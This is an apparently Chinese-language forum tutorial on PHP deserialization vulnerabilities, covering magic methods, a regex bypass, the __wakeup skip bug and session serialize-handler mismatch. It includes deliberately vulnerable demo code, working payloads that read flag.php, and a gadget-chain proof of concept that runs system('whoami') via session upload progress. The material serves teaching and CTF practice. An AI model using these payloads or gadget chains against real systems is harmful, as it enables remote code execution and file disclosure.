標題:PHP 反序列化漏洞相關

taibeihacker

Moderator

反序列化系列​

1 定义与原理​

1.1 相关概念​

內存數據是“稍縱即逝”的;通常,程序執行結束,立即全部銷毀。變量所存儲的數據,就是內存數據;文件是“持久數據”
序列化:就是將內存的變量數據,“保存”到文件中的持久數據的過程。簡化就是:將內存變為文件
反序列化:就是將序列化過存儲到文件中的數據,恢復到程序代碼的變量表示形式的過程。簡化就是:將文件變為內存
漏洞的形成的根本原因是程序沒有對用戶輸入的反序列化字符串進行檢測,導致反序列化過程可以被惡意控制,進而造成代碼執行、getshell 等一系列不可控的後果。

1.2 相关函数​

serialize(mixed value) : string
unserialize(string $str) : mixed

1.2.1 序列化​

20190115093558.png-water_print

序列化的含義
20190115093729.png-water_print

1.2.2 反序列化​

20190115094638.png-water_print

2 魔术方法 - magic method​

__construct():當一個類被創建時自動調用
__destruct():當一個類被銷毀時自動調用
__invoke():當把一個類當作函數使用時自動調用
__tostring():當把一個類當作字符串使用時自動調用
__wakeup():當調用unserialize() 函數時自動調用
__sleep():當調用serialize() 函數時自動調用
__call():當要調用的方法不存在或權限不足時自動調用

2.1 注意点​

\x00 + 類名+ \00 + 變量名反序列化出來的是private 變量
\x00 + * + \x00 + 變量名反序列化出來的是protected 變量
直接變量名反序列化出來的是public 變量
20190115102902.png-water_print

對象前加+ 可以繞過正則
20190115103310.png-water_print

2.2 DEMO​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
?php
@error_reporting(1);
class baby
{
public $file;
function __toString()
{
if(isset($this-file))
{
$filename='./{$this-file}';
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data=$_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches); //這裡匹配到O 後面跟著數字就攔截
if(count($matches))
{
die('Hacker!');
}
else
{
$good=unserialize($data);
echo $good;
}
}
else
{
highlight_file('./index.php');
}
?
Payload:url?data=O:%2b4:'baby':1:{s:4:'file';s:8:'flag.php';}

3 PHP Bug 72663​

3.1 原理​

當序列化字符串中,如果表示對象屬性個數的值大於真實屬性個數時,就會跳過__wakeup的執行

3.2 DEMO​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
?php
class SoFun {
protected $file='index.php';
function __destruct() {
if (!empty($this-file)) {
if (strchr($this-file, '\\')===false strchr($this-file, '/')===false) show_source(dirname(__FILE__) . '/' . $this-file);
else die('Wrong filename.');
}
}
function __wakeup() {
$this-file='index.php';
}
public function __toString() {
return '';
}
}
if (!isset($_GET['file'])) {
show_source('index.php');
} else {
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?
#!--key in flag.php--
20190115111603.png-water_print

payload:url?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

4 PHP Session 序列化及反序列化​

4.1 相关原理​

4.1.1 PHP Session 序列化机制​

當session_start() 被調用或者php.ini 中session.auto_start 為1 時,PHP 內部調用會話管理器,訪問用戶session 被序列化以後,存儲到指定目錄(默認為/tmp)。

4.1.2 session 序列化及反序列化处理器​

PHP 內置了多種處理器用於存取$_SESSION 數據時會對數據進行序列化和反序列化,常用的有以下三種,對應三種不同的處理格式
處理器
對應的存儲格式
php
鍵名+ 豎線+ 經過serialize() 函數反序列處理的值
php_binary
鍵名的長度對應的ASCII 字符+ 鍵名+ 經過serialize() 函數反序列處理的值
php_serialize (php=5.5.4)
經過serialize() 函數反序列處理的數組

4.1.3 与 session 存储相关的配置项​

配置文件php.ini 中含有這幾個與session 存儲相關的配置項:
1
2
3
session.save_path='E:/wamp64/tmp' -- 設置session 的存儲路徑,默認在/tmp
session.auto_start=0 -- 指定會話模塊是否在請求開始時啟動一個會話,默認為0 不啟動
session.serialize_handler=php -- 定義用來序列化/反序列化的處理器名字。默認使用php
PHP 提供了session.serialize_handler 配置選項,通過該選項可以設置序列化及反序列化時使用的處理器,默認為php。如果要修改為其他的引擎,只需要添加代碼ini_set('session.serialize_handler', '需要設置的引擎'),如下所示:
1
2
3
4
?php
ini_set('session.serialize_handler', 'php');
session_start();
$SESSION['a']=$_GET['a'];
存儲的文件是以sess_sessionid 來進行命名的,文件的內容就是session 值的序列化之後的內容。可在session.save_path 對應路徑下看到一個新生成的session 文件,這裡名為sess_cj15cikdujk6uv3bdq6qvonbe7 ,可以看到存儲格式為:鍵名+ 豎線+ 經過serialize() 函數反序列處理的值:a|s3:'123';
使用php_serialize 處理器:
1
2
3
4
?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$SESSION['a']=$_GET['a'];
格式:經過serialize() 函數反序列處理的數組:a:1:{s:1:'a';s:3:'123';}

4.2 PHP session 反序列化漏洞​

如果PHP 在反序列化存儲的$_SESSION 數據時的使用的處理器和序列化時使用的處理器不同,會導致數據無法正確反序列化,通過特殊的構造,甚至可以偽造任意數據。
示例
當存儲是php_serialize 處理,然後調用時使用php 處理器去處理,如果這時注入的數據是:a=|O:4:'test':0{},那麼session 中的內容是a:1:{s:1:'a';s:16:'|O:4:'test':0:{}';},根據解釋,其中a:1:{s:1:'a';s:16:' 在經過php 解析後被看作成鍵名,後面就是一個實例化的test 對象的注入
當配置選項session_auto_start=Off ,兩個腳本註冊Session 會話時使用的序列化處理器不同,就會出現安全問題。

4.3 DEMO​

index.php
1
2
3
4
5
6
7
?php
show_source(__FILE__);
ini_set('session.serialize_handler', 'php');
require('./class.php');
session_start();
$obj=new fool();
$obj-varr='phpinfo.php';
class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this-varr='i.php';
}
function __destruct(){
if(file_exists($this-varr)){
echo 'br文件'.$this-varr.'存在br';
}
echo 'br這是foo1的析構函數br';
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this-varr='1234567890';
$this-obj=null;
}
function __toString(){
$this-obj-execute();
return $this-varr;
}
function __desctuct(){
echo 'br這是foo2的析構函數br';
}
}
class foo3{
public $varr;
function execute(){
eval($this-varr);
}
function __desctuct(){
echo 'br這是foo3的析構函數br';
}
}
?
phpinfo.php
1
2
3
4
5
6
7
8
?php
show_source(__FILE__);
session_start();
require('./class.php');
$f3=new foo3();
$f3-varr='phpinfo();';
$f3-execute();
?
可以看到,index.php 中用的是php 處理器。
在php.ini 中的關鍵配置,注意配置中的session.serialize_handler:
1
2
3
session.serialize_handler=php_serialize
session.upload_progress.cleanup=Off
session.upload_progress.enabled=On
可以訪問phpinfo.php 查看配置信息:
20190115114733.png-water_print

默認是採用php 處理器處理session,session.upload_progress.cleanup 配置為Off,session.upload_progress.enabled 配置為On。
session.upload_progress.enabled,當它為開啟狀態時,PHP 能夠在每一個文件上傳時監測上傳進度。當一個上傳在處理中,同時POST 一個與php.ini中設置的session.upload_progress.name 同名變量時,上傳進度就可以在$_SESSION 中獲得。當PHP 檢測到這種POST 請求時,它會在$_SESSION 中添加一組數據, 索引是session.upload_progress.prefix 與session.upload_progress.name 連接在一起的值。
當前代碼的話沒有向服務器提交數據,但是現在session.upload_progress.enabled 是開啟的,所以可以通過上傳文件,從而在session 文件中寫入數據。
也就是說,利用點是通過session.upload_progress.enabled 來上傳文件向session 文件中寫入php_serialize 處理器格式的內容,從而與index.php 中php 處理器不同進而造成session 反序列化漏洞的存在。
poc.php,用於生成序列化poc,在foo1 中的構造函數中定義$varr 的值為foo2 的實例,在foo2 中定義$obj 為foo3 的實例,在foo3 中定義$varr 的值為system(‘whoami’);
poc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
?php
class foo3{
public $varr;
function __construct(){
$this-varr='system('whoami');';
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this-varr='1';
$this-obj=new foo3();
}
}
class foo1{
public $varr;
function __construct(){
$this-varr=new foo2();
}
}
echo serialize(new foo1());
?
form.html,一個向index.php 提交POST 請求的表單文件,其中包括PHP_SESSION_UPLOAD_PROGRESS 變量:
1
2
3
4
5
form action='http://127.0.0.1/i.php' method='POST' enctype='multipart/form-data'
input type='hidden' name='PHP_SESSION_UPLOAD_PROGRESS' value='geekby'/
input type='file' name='file'/
input type='submit' /
/form
Burpsuite 截斷該form.html 發送的POST 請求,在PHP_SESSION_UPLOAD_PROGRESS 一欄中的值加上poc.php 生成的poc 就能夠成功執行命令了:
|O:4:'foo1':1:{s:4:'varr';O:4:'foo2':2:{s:4:'varr';s:1:'1';s:3:'obj';O:4:'foo3':1:{s:4:'varr';s:19:'system('whoami');';}}}
 
返回
上方